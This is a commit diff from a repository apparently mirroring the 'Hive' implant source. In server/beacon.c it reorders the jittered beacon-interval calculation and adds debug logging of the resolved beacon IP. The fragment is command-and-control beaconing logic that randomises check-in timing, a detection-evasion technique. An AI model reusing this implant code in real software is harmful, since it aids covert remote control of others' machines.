Projects STRLCPY Vault-8-Hive Commits 7a4e3b4b
🤬
  • ■ ■ ■ ■ ■ ■
    server/beacon.c
    skipped 131 lines
    132 132   secondsUp = GetSystemUpTime(); // Get system uptime
    133 133   DLX(4, printf("\tSystem uptime is %ld\n", secondsUp));
    134 134   
     135 + if (beaconInfo->percentVariance > 0) {
     136 + DLX(4, printf("Variance = %f\n", beaconInfo->percentVariance));
     137 + jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); // Get jitter and calculate new interval
     138 + DLX(4, printf("Jitter = %d\n", jitter));
     139 + beaconInterval = beaconInfo->interval + jitter;
     140 + DLX(4, printf("Beacon Interval = %d\n", beaconInterval));
     141 + } else {
     142 + beaconInterval = beaconInfo->interval;
     143 + }
     144 + 
    135 145   // Resolve beacon IP address
    136 146   if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) { // Determine if beacon host is an name or dotted-quad address
    137 147   for (i = 0; i < 2; i++) {
    skipped 5 lines
    143 153   if (beaconInfo->ip == NULL) {
    144 154   DLX(4, printf("\tBeacon host could not be resolved.\n"));
    145 155   goto sleep; // Try again next beacon interval
     156 + } else {
     157 + DLX(4, printf("\tBeacon IP resolved to: %s\n", beaconInfo->ip));
    146 158   }
    147 159   } else
    148 160   beaconInfo->ip = strdup(beaconInfo->host); // IF beaconInfo-> host was an IP address, clone it (so it can be freed later)
    149  - 
    150  - if (beaconInfo->percentVariance > 0) {
    151  - DLX(4, printf("Variance = %f\n", beaconInfo->percentVariance));
    152  - jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); // Get jitter and calculate new interval
    153  - DLX(4, printf("Jitter = %d\n", jitter));
    154  - beaconInterval = beaconInfo->interval + jitter;
    155  - DLX(4, printf("Beacon Interval = %d\n", beaconInterval));
    156  - } else {
    157  - beaconInterval = beaconInfo->interval;
    158  - }
    159 161   
    160 162   // TODO: SendBeaconData does not handle errors returned
    161 163   DLX(4, printf("\tSending beacon\n"));
    skipped 498 lines
Please wait...
Page is in error, reload to recover